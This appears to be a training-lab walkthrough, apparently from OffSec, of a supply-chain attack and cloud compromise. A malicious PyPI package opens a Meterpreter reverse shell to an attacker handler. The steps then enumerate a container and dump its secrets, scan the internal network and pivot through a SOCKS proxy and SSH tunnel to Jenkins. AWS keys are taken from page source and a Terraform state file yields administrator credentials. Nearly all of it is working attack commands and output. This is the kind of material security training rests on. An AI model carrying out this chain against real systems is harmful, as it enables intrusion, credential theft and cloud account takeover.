ED25519 key fingerprint is SHA256:uw2cM/UTH1lO2xSphPrIBa66w3XqioWiyrWRgHND/WI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.88.99.76' (ED25519) to the list of known hosts.
kali@192.88.99.76's password: 

kali@cloud-kali:~$

Initializing Metasploit's Database:

kali@cloud-kali:~$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

Starting Metasploit and configuring the handler:

kali@cloud-kali:~$ msfconsole
....

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 4488
LPORT => 4488

msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false

msf6 exploit(multi/handler) > run -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4488

Uninstalling, rebuilding, reinstalling, and importing the hackshort-util package:

kali@kali:~/hackshort-util$ pip uninstall hackshort-util
...

kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...

kali@kali:~/hackshort-util$ pip install ./dist/hackshort-util-1.1.4.tar.gz
...

kali@kali:~/hackshort-util$ python3
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from hackshort_util import utils
>>>

Capturing the reverse shell:

msf6 exploit(multi/handler) >
[*] Sending stage (24772 bytes) to 233.252.50.125
[*] Meterpreter session 1 opened (10.0.1.87:4488 -> 233.252.50.125:52342)

Closing the Meterpreter Session:

msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 233.252.50.125 - Meterpreter session 1 closed.  Reason: Died

Publishing Our Malicious Package

Configuring ~/.pypirc file to add server URL and login credentials:

kali@kali:~/hackshort-util$ nano ~/.pypirc

kali@kali:~/hackshort-util$ cat ~/.pypirc
[distutils]
index-servers = 
    offseclab 

[offseclab]
repository: http://pypi.offseclab.io/
username: student
password: password 

Uploading our malicious package to offseclab repository:

kali@kali:~/hackshort-util$ python3 setup.py sdist upload -r offseclab              
...
Submitting dist/hackshort-util-1.1.4.tar.gz to http://pypi.offseclab.io/
Server response (200): OK

If a bad package was uploaded and we need to remove it, we can run the following command: curl -u "student:password" --form ":action=remove_pkg" --form "name=hackshort-util" --form "version=1.1.4" http://pypi.offseclab.io/

Obtaining a reverse shell after publishing our malicious package to pypi.offseclab.io PyPI server:

msf6 exploit(multi/handler) >
[*] Sending stage (24772 bytes) to 44.211.221.172
[*] Meterpreter session 2 opened (10.0.1.54:4488 -> 44.211.221.172:37604)

Compromising the Environment

Enumerating the Production Container

Interacting with the new session:

msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                      Information          Connection
  --  ----  ----                      -----------          ----------
  2         meterpreter python/linux  root @ 6699d104d6c5  10.0.1.54:4488 -> 198.18.53.73:37604 (172.18.0.4)

msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

Reviewing network interfaces:

meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 41
============
Name         : eth1
Hardware MAC : 02:42:ac:1e:00:03
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.30.0.3
IPv4 Netmask : 255.255.0.0


Interface 43
============
Name         : eth0
Hardware MAC : 02:42:ac:12:00:04
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.18.0.4
IPv4 Netmask : 255.255.0.0

Checking user and current directory:

meterpreter > shell
whoami
root

ls -alh
total 32K
drwxr-xr-x 1 root root  17 Jul  6 16:25 .
drwxr-xr-x 1 root root  40 Jul  6 16:42 ..
drwxr-xr-x 8 root root 162 Jul  6 16:41 .git
-rw-r--r-- 1 root root 199 Jul  6 16:25 Dockerfile
-rw-r--r-- 1 root root 15K Jul  6 16:25 README.md
drwxr-xr-x 1 root root  52 Jul  6 16:42 app
-rw-r--r-- 1 root root 167 Jul  6 16:25 pip.conf
-rw-r--r-- 1 root root 196 Jul  6 16:25 requirements.txt
-rw-r--r-- 1 root root 123 Jul  6 16:25 run.py

Reviewing mounts:

mount

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/XSUOTVCMJALCFZC3RDKUMDRFT7:/var/lib/docker/overlay2/l/GZ2WZHEOX36F3NXSO3JL4BYD6L:/var/lib/docker/overlay2/l/HVQUSP32SJWVAJ3KOL2QASE4W3:/var/lib/docker/overlay2/l/HE7JGACHWIPRNCT54LBN6AXOZP:/var/lib/docker/overlay2/l/ESRP43XML3BVETNT2Z7I3N2JU4:/var/lib/docker/overlay2/l/KP435SVPCD3NIUYPJPVAREWOOZ:/var/lib/docker/overlay2/l/72FQOR2NP3DWJJSQEXIRCSYJLG:/var/lib/docker/overlay2/l/XGHOLK75NEJNWWWX6CXQOTPRVX:/var/lib/docker/overlay2/l/FYRGADRJGMIS5XK5SBKPLCX6BG:/var/lib/docker/overlay2/l/Z2X5KHFJNPU35ZKBGAHJUEZT3I:/var/lib/docker/overlay2/l/5QTAPW6XADCCWCTAVASPNQT7A4:/var/lib/docker/overlay2/l/35PKZCCO3U4ARBXXGICO35VEMU:/var/lib/docker/overlay2/l/J5J2DCSN4XC4G5HJ6VLPEB3KJL:/var/lib/docker/overlay2/l/D3NHOQ5FM57FMMCEBAT575CAVI:/var/lib/docker/overlay2/l/4BJ4Q3NJFA6VRGPHR4GYYFAB4T,upperdir=/var/lib/docker/overlay2/b95da9be18e4db9ea42697d255af877c65d441522e0f02f8a628239709573bfc/diff,workdir=/var/lib/docker/overlay2/b95da9be18e4db9ea42697d255af877c65d441522e0f02f8a628239709573bfc/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
...

Reviewing environment variables:

printenv

HOSTNAME=6699d104d6c5
SECRET_KEY=asdfasdfasdfasdf
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
ADMIN_PASSWORD=password
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SQLALCHEMY_TRACK_MODIFICATIONS=False
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
SQLALCHEMY_DATABASE_URI=sqlite:////data/data.db
ADMIN_USERNAME=admin

Closed and reopened meterpreter sessions:

[*] 172.18.0.4 - Meterpreter session 2 closed.  Reason: Died

[*] Sending stage (24772 bytes) to 198.18.53.73

[*] Meterpreter session 3 opened (10.0.1.54:4488 -> 198.18.53.73:60146)

msf6 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter >

Scanning the Network

Creating a python script for port scanning:

kali@kali:~$ nano netscan.py

kali@kali:~$ cat -n netscan.py
01  import socket
02  import ipaddress
03  import sys
04
05  def port_scan(ip_range, ports):
06      for ip in ip_range:
07          print(f"Scanning {ip}")
08          for port in ports:
09              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10              sock.settimeout(.2)
11              result = sock.connect_ex((str(ip), port))
12              if result == 0:
13                  print(f"Port {port} is open on {ip}")
14              sock.close()
15
16  ip_range = ipaddress.IPv4Network(sys.argv[1], strict=False)
17  ports = [80, 443, 8080]  # List of ports to scan
18
19  port_scan(ip_range, ports)

Transferring netscan.py to cloud kali instance:

kali@kali:~$ scp ./netscan.py kali@34.203.75.99:/home/kali/
kali@34.203.75.99's password: 
netscan.py                                100%  462     2.0KB/s   00:00  

Uploading netscan.py to the target:

meterpreter > upload /home/kali/netscan.py /netscan.py
[*] Uploading  : /home/kali/netscan.py -> /netscan.py
[*] Uploaded 559.00 B of 559.00 B (100.0%): /home/kali/netscan.py -> /netscan.py
[*] Completed  : /home/kali/netscan.py -> /netscan.py

Reminding ourselves o fthe network ranges we're targeting:

meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 65
============
Name         : eth0
Hardware MAC : 02:42:ac:12:00:04
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.18.0.4
IPv4 Netmask : 255.255.0.0


Interface 67
============
Name         : eth1
Hardware MAC : 02:42:ac:1e:00:03
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.30.0.3
IPv4 Netmask : 255.255.0.0

Port scanning 172.18.0.1/24 to shorten the scan time rather than /16:

meterpreter > shell
Process 17 created.
Channel 4 created.

python /netscan.py 172.18.0.1/24
Scanning 172.18.0.0
Scanning 172.18.0.1
Port 80 is open on 172.18.0.1
Scanning 172.18.0.2
Port 80 is open on 172.18.0.2
Scanning 172.18.0.3
Port 80 is open on 172.18.0.3
Scanning 172.18.0.4
Scanning 172.18.0.5
Port 80 is open on 172.18.0.5
Scanning 172.18.0.6
...

When you run netscan.py, it might seem that the shell is frozen. This is normal while the script runs. Give it a few minutes, and it should become responsive and display the output of the scan.

Using curl to fingerprint services:

curl -vv 172.18.0.1
...
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Caddy
< Content-Length: 0
...

curl -vv 172.18.0.2
...
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Caddy
< Content-Length: 0
...

Port scanning on 172.30.0.1/24 for the same reason:

python /netscan.py 172.30.0.1/24

Scanning 172.30.0.0
Scanning 172.30.0.1
Port 80 is open on 172.30.0.1
Scanning 172.30.0.2
...
Scanning 172.30.0.10
Port 80 is open on 172.30.0.10
Scanning 172.30.0.11
...
Scanning 172.30.0.30
Port 8080 is open on 172.30.0.30
Scanning 172.30.0.31
...
Scanning 172.30.0.50
Port 8080 is open on 172.30.0.50
Scanning 172.30.0.51
...
Scanning 172.30.0.60
Port 8080 is open on 172.30.0.60
Scanning 172.30.0.61
...

Discovered the Jenkins Service while running curl on specific endpoins:

curl 172.30.0.30:8080/
...
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/><script>window.location.replace('/login?from=%2F');</script></head><body style='background-color:white; color:white;'>

...

curl 172.30.0.30:8080/login
...
<!DOCTYPE html><html lang="en"><head resURL="/static/dd8fdc36" data-rooturl="" data-resurl="/static/dd8fdc36" data-imagesurl="/static/dd8fdc36/images"><title>Sign in [Jenkins]</title><meta name="ROBOTS" content="NOFOLLOW"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="/static/dd8fdc36/jsbundles/simple-page.css" type="text/css"></head><body><div class="simple-page" role="main"><div class="modal login"><div id="loginIntroDefault"><div class="logo"><img src="/static/dd8fdc36/images/svgs/logo.svg" alt="Jenkins logo"></div><h1>Welcome to Jenkins!</h1></div><form method="post" name="login" action="j_spring_security_check"><p class="signupTag simple-page--description">Please sign in below or <a href="signup">create an account</a>.<div class="jenkins-form-item jenkins-form-item--tight"><input autocorrect="off" autocomplete="off" name="j_username" id="j_username" placeholder="Username" type="text" autofocus="autofocus" class="jenkins-input normal" autocapitalize="off" aria-label="Username"></div><div class="jenkins-form-item jenkins-form-item--tight"><input name="j_password" placeholder="Password" type="password" class="jenkins-input normal" aria-label="Password"></div><div class="jenkins-checkbox jenkins-form-item jenkins-form-item--tight jenkins-!-margin-bottom-3"><input type="checkbox" id="remember_me" name="remember_me"><label for="remember_me">Keep me signed in</label></div><input name="from" type="hidden"><div class="submit"><button type="submit" name="Submit" class="jenkins-button jenkins-button--primary">Sign in</button></div></form><div class="footer"></div></div></div></body></html>

Loading Jenkins

Tunneling Diagram

Exiting shell and sending session to background:

exit
[-] core_channel_interact: Operation failed: Unknown error

meterpreter > background
[*] Backgrounding session 1...

Using SOCKS proxy module and running it:

msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1

msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 1.

Creating a route:

msf6 exploit(server/socks_proxy) > sessions

Active sessions
===============

  Id  Name  Type                      Information          Connection
  --  ----  ----                      -----------          ----------
  2         meterpreter python/linux  root @ 6699d104d6c5  10.0.1.54:4488 -> 198.18.53.73:37604 (172.18.0.4)

msf6 auxiliary(server/socks_proxy) > route add 172.30.0.1 255.255.0.0 2
Tunneling Diagram with no SSH tunnel

Creating local forward ssh tunnel:

kali@kali:~$ ssh -fN -L localhost:1080:localhost:1080 kali@192.88.99.76
kali@192.88.99.76's password:

kali@kali:~$ ss -tulpn
Netid  State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process                          
tcp    LISTEN  0       128          127.0.0.1:1080        0.0.0.0:*     users:(("ssh",pid=75991,fd=5))  
tcp    LISTEN  0       128              [::1]:1080           [::]:*     users:(("ssh",pid=75991,fd=4))  

Setup firefox proxy to SOCK5 to 127.0.0.1 on port 1080 or a FoxyProxy profile for SOCKS5 to 127.0.0.1 on port 1080.

Adding a SOCKS proxy to Firefox
Adding a SOCKS proxy to FoxyProxy
Jenkins on the internal network of our target via Firefox

Exploiting Jenkins

Self-registering a Jenkins account
Navigating to the Dashboard
Company Directory
Researching the S3 Explorer plugin
Navigating to S3 Explorer
View Source on S3 Explorer

Finding the AWS key in Source:

...<div id="page-wrapper" ng-controller="SettingsController"></div></div><input id="awsregion" type="hidden" value="us-east-1"><input id="awsid" type="hidden" value="AKIAUBHUBEGIMWGUDSWQ"><input id="awskey" type="hidden" value="e7pRWvsGgTyB8UHNXilvCZdC9xZPA8oF3KtUwaJ5"><input id="bucket" type="hidden" value="company-directory-9b58rezp3vvkf90f"></div></div><footer class="page-footer"><div class="container-fluid"><div class="page-footer__flex-row"><div class="page-footer__footer-id-placeholder" id="footer"></div><div class="page-footer__links page-footer__links--white jenkins_ver"><a rel="noopener noreferrer" href="https://www.jenkins.io/" target="_blank">Jenkins 2.385</a></div></div></div></footer></body></html><script src="http://automation.offseclab.io/plugin/s3explorer/js/s3explorer.js"></script>

Enumerating with Discovered Credentials

Configuring a profile with our discovered AWS credentials:

kali@kali:~$ aws configure --profile=stolen-s3
AWS Access Key ID [None]: AKIAUBHUBEGIMWGUDSWQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: 

Getting the Account ID and User Name:

kali@kali:~$ aws --profile=stolen-s3 sts get-caller-identity
{
    "UserId": "AIDAUBHUBEGIFYDAVQPLB",
    "Account": "347537569308",
    "Arn": "arn:aws:iam::277537169808:user/s3_explorer"
}

Listing S3 bucket for Company Directory:

kali@kali:~$ aws --profile=stolen-s3 s3 ls company-directory-9b58rezp3vvkf90f
2023-07-06 13:49:19        117 Alen.I.vcf
2023-07-06 13:49:19        118 Goran.B.vcf
2023-07-06 13:49:19        117 Zeljko.B.vcf

Listing all Buckets from stolen-s3 account:

kali@kali:~$ aws --profile=stolen-s3 s3api list-buckets
{
    "Buckets": [
        {
            "Name": "company-directory-9b58rezp3vvkf90f",
            "CreationDate": "2023-07-06T16:21:16+00:00"
        },
        {
            "Name": "tf-state-9b58rezp3vvkf90f",
            "CreationDate": "2023-07-06T16:21:16+00:00"
        }
    ]
    ...
}

The prefix "tf" in cloud environments often refers to Terraform, and a Terraform state often refers to the file that is used to store the current configuration, including potential secrets.

Discovering the State File and Escalating to Admin

Listing the Terraform State Bucket:

kali@kali:~$ aws --profile=stolen-s3 s3 ls tf-state-9b58rezp3vvkf90f    
2023-07-06 12:19:16       6731 terraform.tfstate

Copying Terraform State File to our local Kali machine:

kali@kali:~$ aws --profile=stolen-s3 s3 cp s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate ./
download: s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate to ./terraform.tfstate

Reviewing State File - Users:

kali@kali:~$ cat -n terraform.tfstate
001  {
...
007      "user_list": {
008        "value": [
009          {
010            "email": "Goran.Bregovic@offseclab.io",
011            "name": "Goran.B",
012            "phone": "+1 555-123-4567",
013            "policy": "arn:aws:iam::aws:policy/AdministratorAccess"
014          },
015          {
016            "email": "Zeljko.Bebek@offseclab.io",
017            "name": "Zeljko.B",
018            "phone": "+1 555-123-4568",
019            "policy": "arn:aws:iam::aws:policy/ReadOnlyAccess"
020          },
021          {
022            "email": "Alen.Islamovic@offseclab.io",
023            "name": "Alen.I",
024            "phone": "+1 555-123-4569",
025            "policy": "arn:aws:iam::aws:policy/ReadOnlyAccess"
026          }
027        ],
...
041    },

Reviewing State File - Keys:

042    "resources": [
043      {
...
049          {
050            "index_key": "Alen.I",
051            "schema_version": 0,
052            "attributes": {
...
056              "id": "AKIAUBHUBEGIKIZJ7OEI",
...
059              "secret": "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",
...
063            },
...
069          },
070          {
071            "index_key": "Goran.B",
072            "schema_version": 0,
073            "attributes": {
...
077              "id": "AKIAUBHUBEGIGZN3IP46",
...
080              "secret": "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",
...
084            },
...
090          },
...

Configuring Goran.B Profile using AWS CLI:

kali@kali:~$ aws configure --profile=goran.b                                                 
AWS Access Key ID [None]: AKIAUBHUBEGIGZN3IP46
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: 

Listing attached user policies with Goran.B profile:

kali@kali:~$ aws --profile=goran.b iam list-attached-user-policies --user-name goran.b
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

Last updated